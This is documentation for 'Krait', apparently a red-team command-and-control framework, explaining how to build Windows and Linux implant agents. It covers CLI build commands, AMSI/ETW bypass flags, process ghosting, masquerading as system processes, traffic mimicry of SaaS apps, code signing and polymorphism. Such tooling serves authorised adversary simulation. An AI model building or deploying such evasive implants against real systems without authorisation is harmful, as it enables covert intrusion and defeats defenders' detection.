Templates & Building

Krait ships with pre-compiled agent templates for every combination of transport, format, and traffic profile. Build agents from the operator Web UI or the CLI console — the server patches your config into the selected template and produces a ready-to-deploy binary in seconds.

How It Works

Templates are agent binaries compiled with placeholder values (sentinels) for the C2 address, port, evasion flags, and other config fields. The build system finds these sentinels and replaces them with your real values — producing a ready-to-deploy agent without needing a compiler.

Template (sentinel values) → Build (your config) → Agent binary (ready to deploy)

Template Matrix

Windows

24 templates compiled with MSVC:

Transport	Formats	Profiles
HTTPS	EXE + DLL	default (no mimicry), slack, discord, teams, gdrive, onedrive, github, npm, docker-registry
SMB	EXE + DLL	(none — SMB doesn’t use HTTP profiles)
TCP	EXE + DLL	(none)
DNS	EXE + DLL	(none)

Linux

10 templates:

Transport	Profiles
HTTPS	default (no mimicry), slack, discord, teams, gdrive, onedrive, github, npm, docker-registry
DNS	(none)

Building from the Web UI

The Build page (http://localhost:50051/build) provides a visual interface for all build options. Select the platform (Windows/Linux), transport, profile, evasion flags, and cover profile, then click Generate. The patched binary downloads automatically when ready.

Building from the CLI

The build command in the operator console patches a template with your configuration.

Quick Start

krait> build windows -s 10.0.0.5
krait> build linux -s 10.0.0.5

Help

krait> build -h                    # Overview
krait> build windows -h            # Windows-specific options
krait> build linux -h              # Linux-specific options
krait> build templates             # List available templates
krait> build profiles              # List cover/mask/traffic profiles
krait> build status <id>           # Check build status

Windows Build

krait> build windows -s <host> [options]

Required:

Flag	Description
-s, --server	C2 server address

Connection:

Flag	Default	Description
-p, --port	8443	C2 listener port
-i, --interval	60	Poll interval in seconds
-j, --jitter	20	Jitter percentage (0-100)
--external-port	Same as --port	Port the agent connects to (behind a reverse proxy)

Template selection:

Flag	Description
--transport	https (default), smb, tcp, dns
--profile	Traffic profile: slack, discord, teams, gdrive, onedrive, github, npm, docker-registry
--dll	Use DLL template instead of EXE

Evasion:

All evasion flags are boolean toggles. They compose freely — use any combination.

Flag	Description
--all-evasion	Enable all evasion flags (except mutually exclusive ghost/herpaderp)
--hwbp-bypass	Hardware breakpoint AMSI/ETW bypass
--hwbp-all-threads	Apply HWBP to all threads, not just the main thread
--stack-spoof	Fabricate legitimate stack frames during sleep
--stack-encrypt	XOR-encrypt stack during sleep
--module-stomp	Map PE into sacrificial DLL
--module-overload	Variant of module stomping
--loadlib-proxy	Route DLL loads through manual PE mapper
--pe-fluctuation	Encrypt PE at rest with VEH
--heap-encrypt	Encrypt heap during sleep
--etw-nop-call	NOP out ETW event write calls
--tampered-syscalls	Tampered syscalls via ntdll return address
--peer-reconnect	Fall back to HTTPS if SMB/TCP parent dies
--sleep-method	ekko (default) or foliage (APC-based NtContinue)

Migration:

Flag	Description
--context-hijack	Thread context hijack instead of APC
--section-map	Shared section mapping instead of cross-process write
--delayed-suspend	Create process then suspend
--phantom-dll	SEC_IMAGE mapping instead of pagefile
--remote-thread	NtCreateThreadEx instead of context hijack/APC
--ghost	Process ghosting migration
--herpaderp	Process herpaderping migration

Cover & signing:

Flag	Description
-c, --cover	Process masquerade profile (see Cover Profiles below)
--machine-lock	Lock to machine by ProductId hash
--sign	Authenticode sign with PFX certificate
--sign-password	Password for the PFX certificate

Transport sub-options:

Flag	Description
--pipe-name	SMB named pipe name (default: msagent_default)
--tcp-host	TCP parent host to connect to
--tcp-port	TCP parent port (default: 4444)
--dns-domain	DNS C2 domain
--dns-server	DNS server IP (default: same as --server)
--dns-port	DNS port (default: 53)

Output:

Flag	Description
-o, --output	Output filename (default: agent_<id>.exe)

Recommended engagement build:

krait> build windows -s your-c2.example.com -p 443 \
    --profile slack --all-evasion --cover svchost

Linux Build

krait> build linux -s <host> [options]

Supports the same connection, transport (HTTPS and DNS), and profile flags as Windows. Linux-specific options:

Flag	Description
-m, --mask	Process mask (kworker, kthreadd, ksoftirqd, cron, dbus, etc.)
-c, --cover	Binary cover (systemd-resolved, cups-browsed, sshd, etc.)

Examples:

krait> build linux -s 10.0.0.1
krait> build linux -s 10.0.0.1 -m kthreadd -c systemd-resolved
krait> build linux -s 10.0.0.1 --profile discord
krait> build linux -s 10.0.0.1 --transport dns --dns-domain c2.lab.local

Cover Profiles

Windows

Spoof PE metadata (version info, timestamps, internal name) to match legitimate Windows processes.

Cover	Masquerades As
RuntimeBroker	RuntimeBroker.exe (default)
svchost	svchost.exe
taskhostw	taskhostw.exe
dllhost	dllhost.exe
smartscreen	smartscreen.exe
sihost	sihost.exe
SearchHost	SearchHost.exe
ctfmon	ctfmon.exe
slack	slack.exe
discord	Discord.exe
teams	ms-teams.exe
gdrive	GoogleDriveSync.exe
onedrive	OneDrive.exe

When --profile is used, the matching SaaS cover is auto-selected. --cover overrides.

krait> build profiles              # List all covers, masks, and traffic profiles

Linux

Linux covers replace the binary name and cmdline. Masks set the thread name visible in /proc.

krait> build linux -s 10.0.0.1 -m kworker -c systemd-resolved

Machine Lock

Lock an agent to a specific Windows machine by its ProductId:

krait> build windows -s 10.0.0.5 --machine-lock "00330-80000-00000-AA123"

The agent will refuse to run on any machine with a different ProductId. Use the get-productid BOF to retrieve the target’s ProductId.

Code Signing

Sign the output binary with an Authenticode certificate:

krait> build windows -s 10.0.0.5 --sign cert.pfx --sign-password mypassword

Requires osslsigncode installed on the server host.

Polymorphism

Every build randomizes the hash seed, XOR key, and AMSI variant. Two agents built from the same template will have different binary signatures.

Verifying Templates

Each template directory contains a manifest.json with SHA-256 hashes for integrity verification. The build system automatically verifies that all templates are patchable after compilation.